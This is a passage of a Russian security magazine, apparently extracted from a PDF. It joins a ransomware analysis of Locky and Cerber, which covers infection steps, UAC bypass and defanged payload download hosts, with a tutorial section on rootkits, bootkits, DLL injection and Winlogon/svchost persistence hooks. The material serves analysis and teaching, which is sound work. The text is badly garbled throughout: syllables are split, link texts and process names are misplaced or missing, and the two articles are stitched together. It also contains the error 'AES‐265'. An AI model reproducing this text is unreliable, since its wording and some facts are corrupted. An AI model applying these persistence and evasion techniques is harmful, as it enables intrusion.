Рис. 21. Крип тоал горит мы сетево го тра фика Locky

Locky может зашиф ровать ваши фай лы, толь ко если его C2‐сер вер акти вен.
Теневые  копии  фай лов  не  могут  исполь зовать ся  в  качес тве  резер вных  —
Locky их уда ляет. Все под клю чен ные дис ки будут зашиф рованы, в том чис ле
любые общие сетевые дис ки и съем ные носите ли.

Не инно ваци онный, но край не эффектив ный
Locky не прив носит никаких нов шеств в сфе ру прог рамм‐вымога телей, но он
эффекти вен —  как  в  соз дании  огромных  объ емов  вре донос ного  спа ма,  так
и  в  шиф ровании  сетевых  дис ков.  Дваж ды  подумай,  преж де  чем  раз решить
мак рос,  —  это  дей ствие  может  заб локиро вать  все  общие  кор поратив ные
дис ки.

ВЫМОГАТЕЛЬ CERBER
Вы мога тель Cerber име ет слож ный про цесс внед рения и исполь зует в сво их
ата ках очень инте рес ную так тику. Он дей ству ет всплес ками, меж ду которы ми
наб люда ются пери оды отно ситель но низ кой активнос ти. Мы обна ружи ли два
таких  пика  активнос ти  Cerber  —  пер вый  был  в  апре ле,  вто рой  —
в  мае  2016  года.  Каж дый  из  всплес ков  соб рал  зна читель ное  чис ло  жертв,
как показа но на гра фике ниже:

Рис. 22. Количес тво атак Cerber

Жер тва ми  Cerber  ста ло  мно жес тво  поль зовате лей,  глав ным  обра зом
из США, Тур ции и Великоб ритании. Подоб но Locky, Cerber рас простра няет ся
через  фишин говые  пись ма  с  вре донос ными  вло жени ями.  Как  толь ко  поль ‐
зователь  откры вает  вло жение,  он  под верга ется  ата ке  с  при мене нием
методов  соци аль ной  инже нерии —  его  пыта ются  убе дить  в  необ ходимос ти
акти виро вать встро енную в файл мак рокоман ду, которая запус кает вирус.

Клас сичес кое поведе ние
Cerber  демонс три рует  клас сичес кое  поведе ние  прог раммы‐вымога теля.
Злов ред соз дает свои копии в раз личных локаци ях и обра щает ся к ним с раз ‐
личны ми парамет рами. Ата ка запус кает ся при помощи бинар ных кодов Win‐
dows без вся ких парамет ров. Это дос тига ется за счет внед рения кода (code
injection) в explorer.exe и вызова сле дующих при ложе ний Windows:

adaptertroubleshooter.exe;•
bthudtask.exe — задание по деин стал ляции устрой ства Bluetooth, которое
час то запус кает ся вымога теля ми.

•

За тем  Cerber  исполь зует  дру гую  рас простра нен ную  так тику  —  заг ружа ет
файл  DLL.  Пос ле  того  как  про цесс  шиф рования  запущен,  Cerber  уда ляет
теневые  копии  для  пре дот вра щения  вос ста нов ления  фай лов.  Кро ме  того,
вирус  вно сит  изме нения  в  про цесс  заг рузки,  что бы  лишить  поль зовате ля
любой  воз можнос ти  вос ста новить  свои  фай лы.  Фай лы  шиф руют ся
с помощью алго рит мов AES‐265 и RSA, которые на сегод няшний день невоз ‐
можно взло мать.

Cerber  отоб ража ет  свое  сооб щение  с  тре бова нием  выкупа  с  помощью
прог рамм  «Блок нот»  (стан дар тно го  при ложе ния Windows)  и Google Chrome.
Еще одна харак терная чер та вируса Cerber — завер шив работу, он само уда ‐
ляет ся. Для обес печения собс твен ной устой чивос ти Cerber ини циирует прог ‐
рамму  бло киров ки,  которая  пре пятс тву ет  любым  попыт кам  деин стал ляции.
Cerber  так же  запус кает  сетевой  поиск,  обра щаясь  к  очень  боль шому
количес тву IP‐адре сов, которые находят ся пре иму щес твен но во Фран ции.

Вся  схе ма  работы  вируса  Cerber,  выяв ленная  инс тру мен том  для  отче та
о про веден ной экспер тизе SandBlast Agent, пред став лена ниже.

Рис. 23. Cerber Execution Tree

В  июне  прош лого  года  ком пания  Avanan  опуб ликова ла  пост  о  воз можнос ти
зараже ния  вымога телем Cerber  через файл Microsoft Office  с  рас ширени ем
.dotm.  Как  объ ясни ли  спе циалис ты  Avanan  в  сво ем  бло ге,  ата ка  про изво ‐
дилась  через  файл  dotm,  который  был  разос лан  мно жес тву  поль зовате лей
в фишин говом элек трон ном пись ме. Файл dotm — это шаб лон докумен та Mi‐
crosoft Word, в котором раз решено исполь зование мак роса. Этот тип фай ла
был  впер вые  внед рен  в Office 2007. Он исполь зует фор мат OpenXML и  ZIP‐
сжа тие. Далее при веде но крат кое содер жание отче та о про веден ной экспер ‐
тизе вре донос ного ПО.

Рис. 24. Дерево инци ден та

От чет о про веден ной экспер тизе вре донос ного ПО
Вы ше мы видим уве личен ное «дерево инци ден та», пос тро енное пос ле того,
как  злов ред  закон чил  шиф рование  фай лов  в  сис теме.  Обра ти  вни мание
на количес тво про цес сов, выделен ных голубым и серым. Это исходные про ‐
цес сы  опе раци онной  сис темы  Windows,  которые  исполь зуют ся  вирусом
для совер шения ата ки. Тот факт, что боль шинс тво сов ремен ных вре донос ных
прог рамм опи рают ся в дос тижении сво их целей на доверен ные, легитим ные
про цес сы,  зас лужива ет  осо бого  вни мания.  При  откры тии  докумен та  поль ‐
зовате лю пред лага ется раз решить редак тирова ние и раз решить содер жимое
(раз бло киро вать  кон тент).  Без  раз бло киров ки  кон тента  мак рокоман да
не может быть выпол нена, а вирус не может про дол жить свою работу.

Рис. 25. Мак рос вызыва ет выпол нение cmd.exe

Как  вид но  на  изоб ражении  выше,  при  раз решении  мак роса  он  запус кает
интер пре татор  коман дной  стро ки  (в  дан ном  отче те  —  )
с очень длин ным аргу мен том, вклю чая код на язы ке Visual Basic Script (VBS).
Эта коман да так же соз дает файл VBS ( , фигури рует в отче те либо
в  раз деле  «Опе рации  по  соз данию фай лов»  (file  ops  creations),  либо  в  раз ‐
деле «Подоз ритель ные события: Соз дание скрип та (Dropped Script)»).

cmd.exe  PID  1272

28156.vbs

Рис. 26. Соз дание фай ла tmp с помощью wscript

За тем коман дная стро ка запус кает коман ду wscript ( )
с соз данным VBS‐фай лом ( ),  который, в свою оче редь, ска чива ет
пер вый  вре донос ный  файл  вируса‐вымога теля  Cerber  (272730.tmp),  обра ‐
щаясь к сле дующим сай там:

wscript.exe PID: 1432
28156.vbs

Solidaritedeproximite[.]org/mhtr.jpg;•
92.222.104[.]182/mhtr.jpg.•

Пос ле  соз дания  272730.tmp  этот  файл  запус кает ся  с  помощью  еще  одной
коман дной  стро ки  с  PID  3068  —  так  начина ется  зараже ние  компь юте ра
вирусом Cerber. Запуск фай ла с рас ширени ем tmp в виде про цес са счи тает ся
очень  подоз ритель ным  дей стви ем  (272730.tmp PIDs:  128  и  2152)  и  помеча ‐
ется  сис темой  как  подоз ритель ное  событие:  Unusual  Process  Extension
(необыч ное рас ширение про цес са).

Рис. 27. Соз дание копии и уда ление ори гина ла tmp

Про цесс  272730.tmp  с  PID  128  затем  запус кает  собс твен ную  копию  с  PID
2152.  Про цесс  с  PID  2152  затем  соз дает  еще  одну  копию  фай ла  с  собой
в  пап ке  appdata  под  име нем  .  Это  отме чает ся  в  качес тве
подоз ритель ного  события  Executable  Copies  (исполня емые  копии).  Затем
вирус запус кает про цесс   с PID 1432. Сле дующий шаг — запуск
коман дной  стро ки  с  PID  2592  для  уда ления  ори гиналь ного  фай ла 

.  Эта  задача  реша ется  вызовом    для  оста нов ки  про цес са
 и пос леду юще го вызова коман ды ping, поз воля ющей подож дать

опре делен ное вре мя до оста нов ки про цес са с тем, что бы файл мож но было
уда лить. Точ но так же все эти события отме чают ся как подоз ритель ные в схе ‐
ме ниже:

raserver.exe

raserver.exe
272730.

tmp taskkill.exe
272730.tmp

Рис. 28. UAC Bypass Attempts

Об ход UAC
В бло ге MalwareBytes, в статье   иссле ‐
дова тели под робно рас ска зыва ют о том, как Cerber пытал ся обой ти сис тему
кон тро ля  дос тупа  поль зовате лей  (User  Access  Control,  UAC),  что бы  под нять
уро вень  при виле гий  про цес сов,  занятых  в  ата ке.  В  час тнос ти,  они  показы ‐
вают,  как  Cerber  про бует  запус тить  свою  копию  в  про вод нике  Windows,
а затем внед ряет в эту копию код, который поз волит ему исполь зовать про ‐
цес сы опе раци онной сис темы Microsoft Windows, что бы обой ти UAC.

Cerber Ransomware — New, But Mature

Од нако в нашей лабора тории все попыт ки запус ка Cerber с обхо дом UAC
ока зались безус пешны ми — в  каж дом слу чае мы получа ли пре дуп режде ние
сис темы  UAC.  Новое  сооб щение  UAC  появ лялось  при  каж дой  неудач ной
попыт ке  обхо да.  Пос ле  оче ред ной  неуда чи Cerber  пытал ся  запус тить  новое
окно про вод ника с дру гим выпол няемым фай лом ОС Windows  (см. рис. 29).
Про цесс   с PID 2212 в дан ном инци ден те пытал ся обой ти UAC.
Наша  коман да  по  обратно му  конс тру иро ванию  вре донос ного ПО отме тила,
что исполня емые фай лы, которые исполь зовались для попыток обхо да, име ли
манифес ты со сле дующей информа цией:

raserver.exe

<autoElevate>true</autoElevate>
<requestedExecutionLevel level="requireAdministrator"/>

Рис. 29. При мер сооб щения UAC

Мы отве тили «да» на все зап росы сис темы UAC, выж дав некото рое вре мя, —
имен но поэто му в отче те мы видим четыре запущен ных про цес са  .
У про цес са   с PID 2540 теперь име ются повышен ные при виле ‐
гии  (отме чены  крас ной  стрел кой),  которые  поз воля ют  про цес су  прис тупить
к шиф рованию поль зователь ско го докумен та.

explorer
raserver.exe

Рис. 30. Data Ransom, Shadow Copy Deletion, Boot Tampering и так далее

На рис. 30 показан про цесс raserver.exe с PID 2540, запущен ный с повышен ‐
ными при виле гиями и  соз дающий свою  копию с PID 4688. Имен но про цесс
с PID 4688 шиф рует все докумен ты поль зовате ля. Кро ме того, этот про цесс
так же  пыта ется  про извести  уда ление  теневых  копий  (обыч ная  так тика
вирусов‐вымога телей)  через    и  .  Наконец,  злов ред
пыта ется внес ти изме нения в заг рузоч ные фай лы с помощью служ бы 

.

vssadmin.exe wmic.exe
bcded‐

it.exe

Рис. 31. Тре бова ние выкупа сох раня ется как фон рабоче го сто ла

Су дя по  все му,  пос ле  того  как Cerber опре делил,  что  все поль зователь ские
фай лы  были  зашиф рованы,  он  уда ляет  вре донос ные  выпол няемые  фай лы.
Поэто му  при  перезаг рузке  сис темы  мы  не  наб люда ем  рас простра нение
зараже ния вре доно сом. Одна ко фоновое сооб щение (рис. 31) оста ется.

Про дол жение сле дует
Тех ники,  которые  исполь зует  Cerber,  —  это  клас сика  вымога тель ско го  ПО,
за исклю чени ем пери одич ности атак:  такие  «всплес ки»  активнос ти  не очень
харак терны и могут ввес ти в заб лужде ние. Рекомен дуем всег да быть готовым
к воз вра щению это го злов реда.

ЗАКЛЮЧЕНИЕ
К сожале нию, сегод ня нет пред посылок для того, что бы опас ный тренд раз ‐
вития  ransomware  начал  терять  акту аль ность.  Ско рее  наобо рот:  рост
активнос ти  вымога тель ско го ПО — одно  из  самых  уве рен ных  пред ска заний
на 2017 год.

https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
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MALWARE

При вет, мой друг! Если ты вни матель но читал все пре дыду ‐
щие  уро ки:  ,  ,    —  и  не  ленил ся  пов ‐
торять их на прак тике, то ты уже обла даешь хорошей теоре ‐
тичес кой  базой  и  дос таточ ным  опы том,  что бы  дви гать ся
даль ше.  В  пос тоян ном  сорев новании  с  анти вирус ными
решени ями  сов ремен ная  мал варь  исполь зует  все  более
изощ ренные спо собы скрыть свою активность в заражен ной
сис теме. Некото рые из таких трю ков мы и рас смот рим в оче ‐
ред ной  статье  нашего  цик ла.  Если  ты  готов,  засучи ваем
рукава, запаса емся пивом — и поеха ли!

ну левой пер вый вто рой

В  сегод няшнем  матери але  мы  раз берем  тех нологии  скры тия  вре донос ной
активнос ти  в  целевой сис теме,  усво им,  что  такое  rootkits‐  и bootkits‐инс тру ‐
мен тарий, узна ем об инжектах (внед рени ях) в про цес сы и DLL‐биб лиоте ки и,
конеч но  же,  рас смот рим,  как  все  это  детек тировать  и  ана лизи ровать
на живых при мерах.

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред,  при чинен ный  матери ала ми  дан ной  статьи.
Если ты что‐то дела ешь — будь уве рен и понимай,
что ты дела ешь!

MALWARE TOOLS, ИЛИ ИСКУССТВО СОКРЫТИЯ
В пре дыду щих уро ках мы ана лизи рова ли живые при меры мал вари — от самых
прос тых сем плов до мно гок ратно запако ван ных. В одной из прош лых ста тей
мы  так же  рас ска зыва ли  о  спо собах  про тиво дей ствия  ана лизу,  заложен ных
в код мал вари. Это шиф рование с упа ков кой, анти отла доч ные методы, фичи,
пре пятс тву ющие  дисас сем бли рова нию,  запус ку  мал вари  на  вир туаль ных
машинах,  и  так  далее.  Отли читель ной  осо бен ностью  всех  этих  при меров
было то, что код, про тиво дей ству ющий ана лизу, содер жался непос редс твен ‐
но в самом фай ле сем пла (exe‐фай ле). Но совер шенс тво вание сов ремен ных
алго рит мов  сиг натур ного  и  эвристи чес кого  ска ниро вания,  поведен ческий
ана лиз,  исполь зование  изо лиро ван ных  сред  (типа  )  зас тавля ют
вирусо писа телей изоб ретать новые и хит рые спо собы про тиво дей ствия.

пе соч ниц

По это му  речь  сегод ня  о malware  tools —  это  спе циаль ное  прог рам мное
обес печение,  которое  само  по  себе  не  вре донос но,  но  заг ружа ется
на целевую сис тему, что бы заразить ее мал варью и скрыть все сле ды. Самый
иде аль ный вари ант для зло умыш ленни ка — это ког да анти вирус или подоб ‐
ное  ему  ПО  прос то  не  может  детек тировать  мал варь,  запущен ную
на заражен ной машине. А раз нет пре цеден та, соот ветс твен но, нет и паники,
нет и дей ствий для активно го лечения сис темы. И для дос тижения этих целей
писате ли вре донос ного кода исполь зуют  тех ники, скры вающие его при сутс ‐
твие в сис теме. Некото рые из них мы раз берем более под робно.

ROOTKIT: НЕВИДИМЫЙ НИНДЗЯ
Рут кит (англ. rootkit) — это набор прог рам мных средств (к при меру, исполня ‐
емых фай лов, скрип тов, некото рых кон фигура цион ных фай лов), скры вающих
при сутс твие запущен ного malware‐кода в целевой сис теме. В чис ле их дей ‐
ствий:

мас киров ка объ ектов (таких как про цес сы в памяти, фай лы и дирек тории);•
не леги тим ное  управле ние  сис темой  (изме нение  событий,  про исхо дящих
в заражен ной сис теме);

•

сбор  раз личных  дан ных  (hardware‐  и  software‐парамет ров,  кон фирма ции
TCP/IP, рабоче го окру жения и так далее).

•

Сам  тер мин    при шел  из  мира UNIX,  где  под  этим  сло вом  понима ется
набор  сис темных  ути лит  или  спе циаль ный  модуль  ядра,  который  зло умыш ‐
ленник  уста нав лива ет  на  взло ман ной  сис теме  сра зу  пос ле  получе ния  прав

.  Эти  ути литы  пре иму щес твен но  слу жат  для  «замета ния
сле дов»  втор жения  в  сис тему,  дела ют  незамет ными  запущен ные  в  сис теме

,  ,  ,  ,  замеща ющие
основные ути литы в опе раци онной сис теме UNIX/Linux. Помимо это го, rootkit‐
ути литы  поз воля ют  зло умыш ленни ку  зак репить ся  во  взло ман ной  сис теме
и  спря тать  сле ды  сво ей  деятель нос ти,  скры вая фай лы,  про цес сы  в  памяти,
а так же само при сутс твие рут кита в сис теме.

rootkit

су пер поль зовате ля

сниф феры ска неры кей лог геры тро янские  прог раммы

Как  мы  выяс нили  из  опи сания,  рут кит  работа ет  в  при виле гиро ван ном
режиме (от име ни  root’a или учет ки  ) и, соот ветс твен ‐
но, име ет самые высокие при виле гии на исполне ние кода и дос туп к ресур ‐
сам  сис темы.  По  уров ню  при виле гий  все  рут киты  мож но  раз делить  на  рут ‐
киты:

NT AUTHORITY\System

уров ня  поль зовате ля  (user‐mode,  режим,  в  котором  выпол няют ся  все
основные прог раммы);

•

уров ня ядра (kernel‐mode, в том чис ле драй веры), или так называ емое 
.

• ring
0

Рас пре деле ние колец защиты CPU и при виле гий выпол нения

По прин ципу дей ствия в заражен ной сис теме:
из меня ющие алго рит мы выпол нения сис темных фун кций (Modify execution
path);

•

из меня ющие  сис темные  струк туры  дан ных  (Direct  kernel  object
manipulation).

•

Бо лее  под робно  о  свя зи  ring  0  и  rootkits  мож но  почитать  в  ,
в статье на форуме   и в неболь шом опи сании для  .

этой  статье
АН ТИЧАТ Linux

Се мей ство ОС Windows  так же  под верже но  зараже нию  рут китами.  Здесь
наибо лее рас простра нены такие методы, как зах ват таб лиц вызовов (IAT, IDT,
SSDT, GDT), перех ват фун кций (нап ример, модифи каци ей началь ных бай тов),
непос редс твен ное изме нение сис темных объ ектов  (DKOM), методы исполь ‐
зования драй веров.

Ес ли  очень  крат ко,  то  наибо лее  веро ятные  вари анты — это  либо 
,  либо 

.  Для  пер вого  слу чая  таб лица  вызовов  пред став ляет
собой некий мас сив, в котором каж дый его эле мент хра нит адрес соот ветс ‐
тву ющей  про цеду ры.  Такие  таб лицы  сущес тву ют  и  в  режиме  ядра  (IDT,  CPU
MSRs, GDT, SSDT, IRP dispatch table), и в режиме поль зовате ля (Import Address
Table, IAT).

зах ват

таб лиц  вызова пе рех ват  сис темных  вызовов  в  режиме  работы

сис темно го  драй вера

При  изме нении  записи  в  таб лице  вызовов  кон тро лиру ется  исполне ние
всех запущен ных в памяти прог рамм и при необ ходимос ти перенап равля ется
на тре буемые фун кции. К при меру, перех вачен ная про цеду ра может:

бло киро вать вызовы, про изво димые опре делен ными при ложе ниями (нап ‐
ример, анти вирус);

•

за мещать исходную про цеду ру (под мена бинар ного кода);•
вес ти монито ринг сис темы, перех ватывая вво димые парамет ры;•
филь тро вать или вов се отбра сывать выход ные парамет ры.•

Об щая схе ма клас сифика ции рут китов

Для  вто рого  слу чая  при  работе  рут кита  в  режиме  сис темно го 
исполь зует ся схо жая схе ма. Модель драй веров Microsoft под держи вает мно ‐
гоуров невую архи тек туру,  поэто му  зап рос  вво да/вывода  (I/O  request,  обмен
дан ными меж ду при ложе ниями и драй верами) может обслу живать ся сери ей
под клю чен ных драй веров, каж дый из которых выпол няет свою задачу. В акту ‐
аль ной  на  сегод ня  модели WDM  опре деле но  три  типа  драй веров:  драй вер
шины, фун кци ональ ные драй веры и драй веры‐филь тры.

драй вера

Драй веры‐филь тры  обыч но  рас полага ются  меж ду  дру гими  модуля ми
и  зах ватыва ют  про ходя щие  через  них  IRPs.  Перед  отправ лени ем    смеж ‐
ному  драй веру  филь тр  может  прос мотреть  содер жимое  или  изме нить  его
для воз дей ствия на даль нейшее поведе ние сис темы. Нап ример, при сня тии
обра за  дис ка  с  сер вера,  кри тич ного  к  прос тою,  драй вер‐филь тр  может
исполь зовать ся  для  изме нения  потока  дан ных  с  целью  скры тия  некото рых
фай лов.

IRP

Мо дель вза имо дей ствия драй вера с hardware через ОС

Бо лее  под робно  о  прог рамми рова нии  и  фун кци они рова нии  прог раммы
в режиме драй вера мож но почитать в архи вах WASM — раз дел «

».
Сек реты Win ‐

32. Драй веры режима ядра
В опе раци онных сис темах UNIX/Linux зараже ние рут китами реали зует ся:
под меной основных  ;• сис темных ути лит
заг рузкой  модифи циро ван ного  модуля  ядра,  который  поз воля ет  перех ‐
ватывать таб лицы сис темных вызовов  ;

•
(sys_call_table)

зак ладкой, осно ван ной на модифи кации физичес кой памяти ядра.•

Схе ма выпол нения рут китов в Linux

Пе рех ватив  сис темный  вызов,  зло умыш ленник  под меня ет  соот ветс тву ющий
адрес  фун кции.  В  рам ках  этой  фун кции  зло умыш ленник  может  наз вать
парамет ры,  изме нить  код  ори гиналь ного  сис темно го  вызова  и  ско пиро вать
или под тасовать резуль таты.

Рут киты в Linux

Для  тех,  кто  хочет  под робно  покопать ся  в  коде,    выложе ны
исходни ки  WinNT‐рут кита  Nerzhul  Rootkit,  написан ного  на  C,  и  код  рут кита
Agony  ring  0.  В  одной  из    мож но  почитать,
как написать свой non‐kernel‐рут кит на Perl.

на  этом ресур се

ста рых  ста тей  нашего  жур нала

BOOTKIT
Бо лее изощ ренный метод реали зации рут китов — модифи кацию заг рузоч ной
записи  MBR  и  заг рузку  рут кита  до  стар та  ядра  опе раци онной  сис темы  —
исполь зуют так называ емые бут киты.

Схе ма заг рузки компь юте ра

Бут киты,  как  их  род ные  братья  рут киты,  исполь зуют ся  для  получе ния  прав
адми нис тра тора  (супер поль зовате ля)  и  выпол нения  вре донос ных  дей ствий.
К при меру, бут кит может заг рузить в опе ратив ную память DLL, которая вооб ‐
ще  не  сущес тву ет  на  дис ке  (то  есть  ее  никог да  нель зя  будет  най ти,  прос ‐
каниро вав  все  носите ли  информа ции).  Помимо  это го,  зачас тую  само  тело
вре донос ной прог раммы (запущен ной как драй вер уров ня ядра) не при сутс ‐
тву ет  в фай ловой сис теме, а рас положе но в неис поль зован ной  час ти дис ка
за  гра ницей  пос ледне го  раз дела.  А  заражен ная  опе раци онная  сис тема
и вов се не подоз рева ет о наличии запущен ного драй вера.

Най ти  и  обез вре дить  такой  бут кит —  наибо лее  слож ная  задача  из  всех,
с  которы ми  при ходи лось  стал кивать ся  спе циалис там  анти вирус ной  индус ‐
трии на про тяже нии нес коль ких лет. Более того, этот тренд раз вива ется, и в
пос ледние  годы  появи лись  даже  мобиль ные  рут киты  и  бут киты,  ата кующие
смар тфо ны под управле нием плат формы Android.

Об щая схе ма ини циали зации бут китов

Бо лее  под робно  о  методах  работы  бут китов  мож но  почитать  , 
и  .

здесь здесь
еще вот здесь

МЕТОДЫ ДЕТЕКТИРОВАНИЯ И БОРЬБА С РУТКИТАМИ
Клю чевая и основная слож ность борь бы с рут китами в  том,  что они активно
про тиво дей ству ют сво ему обна руже нию, пря ча как свои фай лы, так и про цес ‐
сы  в  опе ратив ной  памяти,  а  так же  клю чи  реес тра  от  детек тиру ющих  прог ‐
рамм. Тем не менее сущес тву ют ути литы, спе циаль но соз данные для поис ка
извес тных и неиз вес тных рут китов раз личны ми узкоспе циаль ными метода ми,
а так же с помощью сиг натур ного (исполь зуя базы дан ных) и поведен ческо го
ана лиза.

К при меру, известен  . Его суть зак люча ‐
ется в  том,  что одна и  та же информа ция регис три рует ся нес коль кими спо ‐
соба ми — с исполь зовани ем API и «нап рямую», пос ле чего получен ные дан ‐
ные срав нива ются в поис ках рас хожде ний. Наибо лее час то ска ниру ются таб ‐
лицы импорта и таб лицы вызовов  , а так же струк турно вся фай ловая
сис тема.

ал горитм отло ва MEP-рут китов

Native API

Ба зовый  арсе нал  средств  отло ва  рут китов  осно выва ется  на  сле дующих
методах.
1. Сиг натур ный  поиск.  При меня ется  еще  со  вре мен  пер вых  анти виру сов
и  пред став ляет  собой  поиск  в  про веря емом  фай ле  уни каль ной  цепоч ки
бай тов (сиг натуры), при сущей вре донос ной прог рамме.

2. Эв ристи чес кий или поведен ческий ана лиза тор. Эта тех нология осно выва ‐
ется на поис ке откло нений в нас трой ках сис темы, кон фигура цион ных фай ‐
лах  Linux  или  реес тре  Windows,  подоз ритель ном  поведе нии  про цес сов
и модулей и так далее.

3. Кон троль целос тнос ти. Этот  тип поис ка осно ван на срав нении  кон троль ‐
ной сум мы (MD5 и тому подоб ное) или циф ровой под писи раз нооб разных
сис темных фай лов  с  базой,  содер жащей  кон троль ную  сум му  ори гиналь ‐
ных  фай лов.  В  слу чае  несов падения  прог рамма  дела ет  вывод,  что  файл
был модифи циро ван или вов се заменен.

Об зор некото рых прог рамм для детек тирова ния и  уда ления рут китов мож но
почитать  , а так же  .вот тут тут

В качес тве более пол ного лик беза на дан ную тему могу пореко мен довать
почитать эту   и вот эту книж ку: 

,  которая  дос тупна  для  заг рузки  и  чте ния  в  фор мате  PDF.  И  не
забудь  озна комить ся  с  работой  нашего  сооте чес твен ника  Иго ря  Кор кина,
пос вящен ной форен зике опе ратив ной памяти и поис ку в ней рут китов, — 

.

статью A Comparitive Analysis of Rootkit Detection
Techniques

Ap‐
plying memory forensics to rootkit detection

Malware  tools,  такие  как  заг рузчи ки  (downloaders
and  droppers),  rootkits,  bootkits,  в  боль шинс тве
слу чаев сами по себе не явля ются вре донос ным
ПО  в  клас сичес ком  понима нии.  Одна ко
с помощью подоб ного инс тру мен тария зло умыш ‐
ленник  может  инфи циро вать  целевую  сис тему,
при этом заметая сле ды взло ма и зараже ния, что
зна читель но  усложня ет  пос леду ющий  поиск
и детек тирова ние malware внут ри сис темы.

https://xakep.ru/2016/12/08/reversing-malware-tutorial-part1/
https://xakep.ru/2016/12/22/reversing-malware-tutorial-part2/
https://xakep.ru/2017/02/21/reversing-malware-tutorial-part3/
https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%81%D0%BE%D1%87%D0%BD%D0%B8%D1%86%D0%B0_(%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C)
https://blog.kaspersky.ru/chto-takoe-rutkit-i-kak-udalit-ego-s-kompyutera/650/
https://ru.wikipedia.org/wiki/Root
https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%82%D0%BE%D1%80_%D1%82%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0
https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BD%D0%B5%D1%80_%D0%BF%D0%BE%D1%80%D1%82%D0%BE%D0%B2
https://ru.wikipedia.org/wiki/%D0%9A%D0%B5%D0%B9%D0%BB%D0%BE%D0%B3%D0%B5%D1%80
https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%BE%D1%8F%D0%BD%D1%81%D0%BA%D0%B0%D1%8F_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0
https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D1%8C%D1%86%D0%B0_%D0%B7%D0%B0%D1%89%D0%B8%D1%82%D1%8B
https://xakep.ru/2011/08/16/56235/
https://forum.antichat.ru/threads/17906/
http://www.nobunkum.ru/ru/linux-rootkits
https://ru.wikipedia.org/wiki/%D0%94%D1%80%D0%B0%D0%B9%D0%B2%D0%B5%D1%80
https://ru.wikipedia.org/wiki/I/O_request_packet
http://bablomet.org/showthread.php?t=761
https://ru.wikipedia.org/wiki/GNU_Coreutils
http://www.nobunkum.ru/ru/linux-rootkits
http://softxaker.ru/tags/%D0%F3%F2%EA%E8%F2/
https://xakep.ru/2005/06/27/27134/
https://xakep.ru/2013/11/05/full-bootkit-history/
https://habrahabr.ru/company/eset/blog/169131/
http://hacker-lab.com/hack/297-stoned-bootkit-prezentaciya-butkita-dlya-windows.html
https://ru.wikipedia.org/wiki/Native_API
http://ida-freewares.ru/best-free-rootkit-scanner-and-remover.html
http://yachaynik.ru/bezopasnost/rutkiti-kak-udalit-to-chto-ne-vidno
https://articles.forensicfocus.com/2013/11/22/understanding-rootkits/
http://sce.uhcl.edu/yang/research/A%20Comparitive%20Analysis%20of%20Rootkit%20Detection%20Techniques.pdf
https://arxiv.org/ftp/arxiv/papers/1506/1506.04129.pdf


ЧАСТЬ 3: ИНСТРУМЕНТЫ СКРЫТИЯ
ВРЕДОНОСНОЙ АКТИВНОСТИ

MALWARE  НАЧАЛО СТАТЬИ←

ВНЕДРЕНИЕ В ПРОЦЕСС, ИЛИ DLL INJECTION
DLL‐инъ екция дает воз можность выпол нять свой (вирус ный) код в адресном
прос транс тве уже запущен ного про цес са. Поэто му такой спо соб мно гие раз ‐
работ чики исполь зуют для написа ния раз личных   к играм, 

 и, конеч но же, выпол нения вре донос ных дей ствий в целевой
сис теме.

чи тов взло ма  ком ‐
мерчес кого ПО

Неп лохой при мер кода с DLL‐инжектом (внед рени ем в код про цес са) мож ‐
но пос мотреть в  . Об усо вер шенс тво ван ном методе, а имен ‐
но  как внед рить DLL в  чужой про цесс незамет но,  то есть не  хра ня на дис ке
файл самой DLL, мож но узнать в одной из ста тей  .

статье на Хаб ре

на шего жур нала

Ис поль зование Native API для внед рения в про цесс
На тив ный API‐интерфейс Windows фак тичес ки  пред лага ет  нам ряд фун кций,
которые поз воля ют внед рять ся в исполня емый код и управлять дру гими при ‐
ложе ниями. Более под робно мож но узнать из MSDN‐докумен тации.

В целом весь про цесс взло ма мож но раз делить на четыре самос тоятель ‐
ных эта па:

при соеди нение к родитель ско му про цес су;•
вы деле ние в про цес се памяти, необ ходимой под внед ряемый код;•
ко пиро вание DLL в память про цес са с опре деле нием в соот ветс тву ющие
адре са памяти;

•

за пуск  в  про цес се  сек ции  с  внед ренным  кодом  при соеди нен ной  биб ‐
лиоте ки DLL.

•

Каж дый  из  этих шагов может  быть  реали зован  с  помощью  одно го  или  нес ‐
коль ких  методов  прог рамми рова ния.  Важ но  пом нить,  что  каж дый  метод
инжекта  име ет  как  дос тоинс тва,  так  и  недос татки.  Более  под робно
об инжекте в про цес сы с опи сани ем при меров на С++ мож но почитать в бло ‐
ге  .OpenSecurity

Внед рение кода в DLL‐биб лиоте ку

Winlogon hook
Один  из  час то  исполь зуемых  трю ков  вирусо писа телей  —  заменить  шелл
в  winlogon,  что  обес печива ет  запуск  мал вари  при  любом  вхо де,  выходе,
запус ке,  перезаг рузке,  вык лючении  компь юте ра  и  бло киров ке  экра на.
В реес тре для это го соз дает ся спе циаль ный ключ:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Winlogon\

Svchost hook
Бо лее прод винутый, чем пре дыду щий, и наибо лее широко исполь зуемый хук.
Вре донос ные прог раммы час то уста нав лива ются в сис тему в качес тве служ ‐
бы  Windows.  Пос ле  инстал ляции  в  сис тему  мал варь  висит  в  про цес сах
как обще сис темная служ ба svchost.exe, что дела ет ее менее при мет ной.

Как извес тно, svchost.exe — это уни вер саль ное имя для всех хост‐про цес ‐
сов в виде сер висов (служб) Windows, которые стар туют при запус ке сис темы
натив ных  DLL‐биб лиотек,  обес печива ющих  раз личную  фун кци ональ ность
ОС — сетевое вза имо дей ствие, печать, обна руже ние внеш них под клю чаемых
устрой ств  и  работу  с  ними  и  так  далее.  Очень  час то  каж дый  запущен ный
в  памяти  экзем пляр  svchost.exe  содер жит  груп пу  потоков  (тре дов,  от  англ.
thread — нить).

